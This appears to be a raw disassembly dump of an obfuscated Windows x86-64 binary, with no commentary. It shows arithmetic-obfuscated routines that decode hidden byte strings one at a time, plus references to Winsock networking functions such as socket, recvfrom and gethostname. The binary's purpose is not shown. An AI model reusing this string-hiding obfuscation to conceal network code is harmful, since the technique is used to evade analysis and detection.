ja 0x14008fd0f
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x14008fcf0
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x14008fcd2
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x14008fcc0
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x14008fc9f
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x14008fb00
lea rbx, [r8 + 0x28]
lea r8, [rbx + 6]
jmp 0x14008fb00
lea ecx, [r10 - 0x1e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2e
jmp 0x14008faf0
lea edx, [r10 + 0x16]
movzx eax, dl
and al, r9b
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008fa70
lea ecx, [r10 + 0x4a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 6
jmp 0x14008f9e6
lea ecx, [r10 + 0x58]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x68
dec r10
inc r10
jmp 0x14008f9d3
lea edx, [r10 - 0x74]
mov ecx, socket
movzx r11d, r10b
jmp 0x140090380
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x40
add rbx, r8
jmp 0x1400903d5
lea edx, [r10 - 0xc]
movzx eax, dl
and al, r9b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400903d5
lea ecx, [r10 + 0x28]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x18
jmp 0x14009040a
lea edx, [r10 + 0x5c]
movzx eax, dl
and al, r9b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140090436
lea edx, [r10 - 0x70]
movzx eax, dl
and al, r9b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x1a0]
add rax, r8
add r10, rax
inc r10
jmp 0x14008f9d3
lea ecx, [r10 + 0x7a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x56
cmp rbx, 8
jae 0x1400901f2
lea rax, [r8 + 1]
cmp rbx, rax
jbe 0x140090122
lea edx, [r10 - 0x54]
movzx eax, dl
and al, r9b
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
cmp r8, 0x64
jb 0x1400901e2
movzx r11d, r10b
lea ecx, [r11 - 0x5c]
movzx eax, cl
and al, r9b
mov edx, 2
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea edi, [rdx + rdx]
jmp 0x14009031b
lea edx, [r10 - 0x52]
movzx eax, dl
and al, r9b
mov ecx, 0x1f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
lea rax, [r8 + rbx]
cmp rax, 0x5a
je 0x140090217
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jbe 0x140090036
lea edx, [r10 - 0x32]
movzx eax, dl
and al, r9b
mov ecx, 0x2f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008fd90
lea ecx, [r10 - 0x64]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x44
jmp 0x14009040a
lea edx, [r10 - 0x30]
movzx eax, dl
and al, r9b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400903d5
lea ecx, [r10 + 4]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1c
add rbx, r8
jmp 0x1400903d5
movzx r11d, r10b
lea edx, [r11 + 0x38]
mov ecx, 0x3c
jmp 0x140090380
lea edx, [r10 + 0x6c]
movzx eax, dl
and al, r9b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x14008f9d3
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x60
inc r8
dec r10
inc r10
jmp 0x14008f9d3
lea edx, [r10 - 0x2c]
movzx eax, dl
and al, r9b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x14009031b
lea rax, [r8 + 4]
cmp rbx, rax
jae 0x14008ff44
lea ecx, [r10 - 0x1a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4a
jmp 0x14008fe09
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008ff7e
lea ecx, [r10 - 0x44]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x24
movzx eax, byte [rbp + r10 + 0x1a0]
add rax, r8
add r10, rax
inc r10
jmp 0x14008f9d3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008ffa9
lea ecx, [r10 - 0x14]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x74
add rbx, r8
jmp 0x1400903d5
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14008ffd5
movzx r11d, r10b
lea ecx, [r11 - 0x48]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 8
jmp 0x140090391
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140090006
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x30
inc r8
dec r10
inc r10
jmp 0x14008f9d3
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14008fe09
movzx r11d, r10b
lea edx, [r11 + 0x1c]
movzx eax, dl
and al, r9b
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14009031b
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140090062
movzx r11d, r10b
lea ecx, [r11 - 0x66]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x36
jmp 0x14009031b
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140090090
lea ecx, [r10 + 0x32]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5e
dec r10
inc r10
jmp 0x14008f9d3
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400900b8
lea ecx, [r10 - 0x6a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1a
jmp 0x1400903d5
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x1400900e4
lea edx, [r10 + 0x62]
movzx eax, dl
and al, r9b
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14009040a
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x14008fd90
lea edx, [r10 - 6]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x1a0]
add rax, r8
add r10, rax
inc r10
jmp 0x14008f9d3
jne 0x140090155
lea ecx, [r10 + 0x78]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x48
movzx eax, byte [rbp + r10 + 0x1a0]
add rax, r8
add r10, rax
inc r10
jmp 0x14008f9d3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140090184
lea edx, [r10 - 0x58]
movzx eax, dl
and al, r9b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add rbx, r8
jmp 0x1400903d5
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400901b0
movzx r11d, r10b
lea ecx, [r11 + 0x74]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2c
jmp 0x140090391
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008fdc1
lea edx, [r10 + 0x40]
movzx eax, dl
and al, r9b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x14008f9d3
mov byte [rbp + r10 + 0x1a0], dil
inc r10
jmp 0x14008f9d3
movzx r11d, r10b
lea edx, [r11 + 0x70]
movzx eax, dl
and al, r9b
add al, al
movzx edi, byte [rbp + r10 + 0x1a0]
sub dil, al
sub dil, 0x10
jmp 0x14009038b
lea edx, [r10 + 0x3c]
movzx eax, dl
and al, r9b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14009040a
lea ecx, [r10 + 0xa]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x46
movzx eax, byte [rbp + r10 + 0x1a0]
add rax, r8
add r10, rax
inc r10
jmp 0x14008f9d3
lea edx, [r10 + 0x3e]
movzx eax, dl
and al, r9b
mov ecx, 0x27
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140090436
lea ecx, [r10 + 0x72]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1e
jmp 0x14009040a
lea edx, [r10 - 0x5a]
movzx eax, dl
and al, r9b
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400903d5
lea edx, [r10 + 0x42]
movzx eax, dl
and al, r9b
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x14008f9d3
movzx r11d, r10b
lea edx, [r11 - 0x56]
movzx eax, dl
and al, r9b
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14009031b
movzx r11d, r10b
lea ecx, [r11 + 0x12]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7e
sub r11b, 0x76
movzx eax, r9b
and al, r11b
mov ecx, 0x1d
sub cl, al
add cl, cl
add cl, r9b
add cl, r11b
mov byte [rbp + r10 + 0x1a0], cl
inc r8
dec r10
inc r10
jmp 0x14008f9d3
lea edx, [r10 + 0x46]
movzx eax, dl
and al, r9b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x14008f9d3
movzx r11d, r10b
lea edx, [r11 - 0x52]
mov ecx, 0x1f
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add r11b, 0x56
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0x5a
add r9b, dil
add r9b, r11b
mov byte [rbp + r10 + 0x1a0], r9b
add rbx, r8
jmp 0x1400903d5
lea rdx, [r10 + r15]
movzx eax, r11b
and al, dl
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, dl
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14008f9d3
lea rcx, [r10 + r13]
movzx r9d, r11b
and r11b, cl
add r11b, r11b
movzx edi, r9b
sub dil, r11b
sub dil, 6
add dil, cl
lea edx, [r10 + 0x22]
movzx eax, r9b
and al, dl
mov ecx, 9
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x1a0], al
inc r8
add rax, r8
sub r10, rax
lea ecx, [r10 + 8]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x38
add r9b, cl
mov byte [rbp + r10 + 0x1a0], r9b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x1a0]
add rax, r8
add r10, rax
inc r10
jmp 0x14008f9d3
lea rdx, [r10 + r12]
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, dl
movzx eax, byte [rbp + r10 + 0x1a0]
add rax, r8
add r10, rax
inc r10
jmp 0x14008f9d3
add r10b, 0x7e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x72
jmp 0x14008f9d0
sub r10b, 0x4e
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14008f9c0
lea rcx, [rbp + 0x14b0828]
jmp 0x140090508
lea rcx, [rbp + 0xda5a0e]
jmp 0x140090508
lea rcx, [rbp + 0x1a0]
xor r8d, r8d
lea rdx, [0x1401fcc88]
call fcn.14003a960
test al, al
je 0x140090561
movss xmm0, dword [0x1401fcc88]
mulss xmm0, xmm6
cvttss2si eax, xmm0
mov dword [0x1401fcb38], eax
movss xmm1, dword [0x1401fcc8c]
mulss xmm1, xmm6
cvttss2si eax, xmm1
mov dword [0x1401fcb3c], eax
movss xmm0, dword [0x1401fcc90]
mulss xmm0, xmm6
cvttss2si eax, xmm0
mov dword [0x1401fcb40], eax
mov byte [rbp + 0x1c0], WSAGetLastError
mov byte [rbp + 0x1c1], reloc.WS2_32.dll_socket
mov byte [rbp + 0x1c2], 0x1e
mov byte [rbp + 0x1c3], 4
mov byte [rbp + 0x1c4], 0x1f
mov byte [rbp + 0x1c5], 6
mov byte [rbp + 0x1c6], recvfrom
mov byte [rbp + 0x1c7], 3
mov byte [rbp + 0x1c8], 5
mov byte [rbp + 0x1c9], 0x4d
mov byte [rbp + 0x1ca], WSAGetLastError
mov byte [rbp + 0x1cb], 2
mov byte [rbp + 0x1cc], 0x1e
mov byte [rbp + 0x1cd], 0
mov byte [rbp + 0x1ce], 6
mov byte [rbp + 0x1cf], 0xb7
xor eax, eax
mov dword [rbp + 0x1d0], eax
mov byte [rbp + 0x1d4], al
movabs rsi, 0x8c40a2a67cb58145
movabs r15, 0xd5c4728d68f688e3
movabs r14, 0xa4c1e7f3762083cf
movzx edi, byte [rsp + 0x50]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x15
jae 0x1400911bc
movzx r9d, byte [rbp + r10 + 0x1c0]
mov rdx, r9
nop dword [rax + rax]
cmp rbx, r10
ja 0x1400911b0
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140090663
lea rcx, [r10 + rsi]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
add dil, 0x1d
jmp 0x1400906a0
je 0x14009113f
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400910b7
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140091085
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140091042
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140091021
nop dword [rax]
cmp r8, r10
ja 0x1400911a4
lea rax, [r8 + 0x80]
cmp rbx, rax
jae 0x1400906d4
lea ecx, [r10 - 0x57]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x61
jmp 0x140090710
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140090fda
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140090fb6
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140090f95
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140090f7a
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x140090c81
nop dword [rax]
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x140090c5e
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140090c3a
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x140090c19
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x140090bf6
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140090bd7
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x140090bbc
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x140090ba1
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x140090b82
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x140090b51
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140090720
lea rbx, [r8 + 1]
lea r8, [rbx + 0x80]
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x140091187
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x14009116a
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x14009090e
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x1400908f3
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x1400908d8
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x140090b08
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x140090abf
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x140090a7f
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x140090a59
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x140090720
lea rbx, [r8 + 0x64]
lea r8, [rbx + 0x42]
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x140090a28
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x140090a09
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x1400909ee
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x1400909d3
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x1400909b4
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x140090991
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x140090970
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x14009094c
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x140090929
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x140090720
lea rbx, [r8 + 0x40]
lea r8, [rbx + 3]
jmp 0x140090720
lea ecx, [r10 + 0x77]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x41
jmp 0x140090710
lea ecx, [r10 - 0x13]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7b
jmp 0x1400906a0
lea ecx, [r10 + 0x63]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x4b
jmp 0x140090628
lea edx, [r10 + 0x48]
movzx eax, dl
and al, r9b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x140090ff4
lea ecx, [r10 - 0x42]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x32
inc r8
dec r10
inc r10
jmp 0x140090615
lea ecx, [r10 + 0x34]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6c
dec r10
inc r10
jmp 0x140090615
lea edx, [r10 - 0x56]
movzx eax, dl
and al, r9b
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x14009105c
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14009109b
lea ecx, [r10 - 0x6a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1a
jmp 0x14009109e
lea ecx, [r10 + 0xc]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x54
jmp 0x1400910d0
lea edx, [r10 - 0x7e]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400910f8
lea edx, [r10 - 8]
movzx eax, dl
and al, r9b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x1c0]
add rax, r8
add r10, rax
inc r10
jmp 0x140090615
lea ecx, [r10 - 0x61]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x59
mov byte [rbp + r10 + 0x1c0], dil
inc r10
jmp 0x140090615
lea ecx, [r10 + 0x15]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x6d
cmp r8, 0x20
jb 0x140090a6f
movzx r11d, r10b
lea ecx, [r11 + 0x7e]
movzx eax, cl
and al, r9b
mov edx, 7
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea edi, [rdx + rdx]
jmp 0x140090ff4
lea ecx, [r10 - 0x75]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x33
cmp rbx, 0x40
jae 0x140090f28
lea rax, [r8 + 0x28]
cmp rbx, rax
jbe 0x140090e3c
lea edx, [r10 + 0x1a]
movzx eax, dl
and al, r9b
mov ecx, 0x25
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140090a95
lea ecx, [r10 + 1]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 7
lea rax, [r8 + rbx]
cmp rax, 0x5a
je 0x140090f53
lea rax, [r8 + 0x42]
cmp rbx, rax
jbe 0x140090d8f
lea ecx, [r10 + 0x71]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x17
jmp 0x140090ad5
lea edx, [r10 - 0xa]
movzx eax, dl
and al, r9b
mov ecx, 0x23
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x1c0]
add rax, r8
add r10, rax
inc r10
jmp 0x140090615
lea edx, [r10 + 0x6c]
movzx eax, dl
and al, r9b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400910f8
lea ecx, [r10 - 0x1e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2e
jmp 0x1400910d0
lea ecx, [r10 + 0x58]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x68
jmp 0x14009109e
lea edx, [r10 - 0x32]
movzx eax, dl
and al, r9b
mov ecx, 0x2f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14009109b
movzx r11d, r10b
lea edx, [r11 + 0x44]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14009105c
lea ecx, [r10 - 0x46]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x16
dec r10
inc r10
jmp 0x140090615
lea ecx, [r10 + 0x30]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x50
inc r8
dec r10
inc r10
jmp 0x140090615
movzx r11d, r10b
lea edx, [r11 - 0x5a]
movzx eax, dl
and al, r9b
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140090ff4
lea rax, [r8 + 0x64]
cmp rbx, rax
jae 0x140090ca9
lea ecx, [r10 + 0x45]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x1d
jmp 0x140090b1e
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140090ce3
lea ecx, [r10 + 0x52]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3e
movzx eax, byte [rbp + r10 + 0x1c0]
add rax, r8
add r10, rax
inc r10
jmp 0x140090615
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140090d0b
lea ecx, [r10 - 0x24]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 4
jmp 0x1400910f8
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140090d37
lea edx, [r10 + 0x66]
movzx eax, dl
and al, r9b
mov ecx, 0x1b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400910d0
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140090d63
movzx r11d, r10b
lea ecx, [r11 + 4]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1c
jmp 0x14009105c
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x140090b1e
movzx r11d, r10b
lea ecx, [r11 - 0x5e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6e
jmp 0x140090ff4
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140090dbb
movzx r11d, r10b
lea ecx, [r11 - 5]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x23
jmp 0x140090ff4
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140090dec
lea ecx, [r10 - 0x7b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x5d
inc r8
dec r10
inc r10
jmp 0x140090615
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140090e14
lea ecx, [r10 - 0x53]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x45
jmp 0x14009109e
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140090ad5
lea ecx, [r10 + 0x37]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x7f
jmp 0x1400910d0
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140090e76
lea ecx, [r10 - 0x5c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7c
movzx eax, byte [rbp + r10 + 0x1c0]
add rax, r8
add r10, rax
inc r10
jmp 0x140090615
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140090e9e
lea ecx, [r10 - 0x48]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 8
jmp 0x1400910d0
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140090eca
lea edx, [r10 - 0x34]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14009109b
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140090ef8
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
dec r10
inc r10
jmp 0x140090615
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140090a95
movzx r11d, r10b
lea edx, [r11 - 0xc]
movzx eax, dl
and al, r9b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140090ff4
movzx r11d, r10b
lea edx, [r11 + 8]
movzx eax, dl
and al, r9b
add al, al
movzx edi, byte [rbp + r10 + 0x1c0]
sub dil, al
sub dil, 0x38
add dil, dl
add dil, r9b
jmp 0x14009105c
lea edx, [r10 - 0x6e]
movzx eax, dl
and al, r9b
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r10 + 0x1c0]
add dil, dl
add dil, r9b
jmp 0x1400910d0
lea ecx, [r10 - 0x1b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x43
jmp 0x14009109e
lea ecx, [r10 + 0x47]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0xf
dec r10
inc r10
jmp 0x140090615
lea ecx, [r10 - 0x43]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2b
inc r8
dec r10
inc r10
jmp 0x140090615
movzx r11d, r10b
lea ecx, [r11 + 0x33]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x65
sub r11b, 0x3d
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
sub r11b, 0x55
add r11b, r9b
mov byte [rbp + r10 + 0x1c0], r11b
inc r8
dec r10
inc r10
jmp 0x140090615
lea ecx, [r10 + 0xb]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4d
dec r10
inc r10
jmp 0x140090615
movzx r11d, r10b
lea ecx, [r11 - 0x7f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x79
add r11b, 0x4d
movzx eax, r11b
and al, r9b
add al, al
movzx ecx, dil
sub cl, al
sub cl, 0x1b
add cl, r11b
add cl, r9b
mov byte [rbp + r10 + 0x1c0], cl
jmp 0x14009109b
lea ecx, [r10 - 9]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
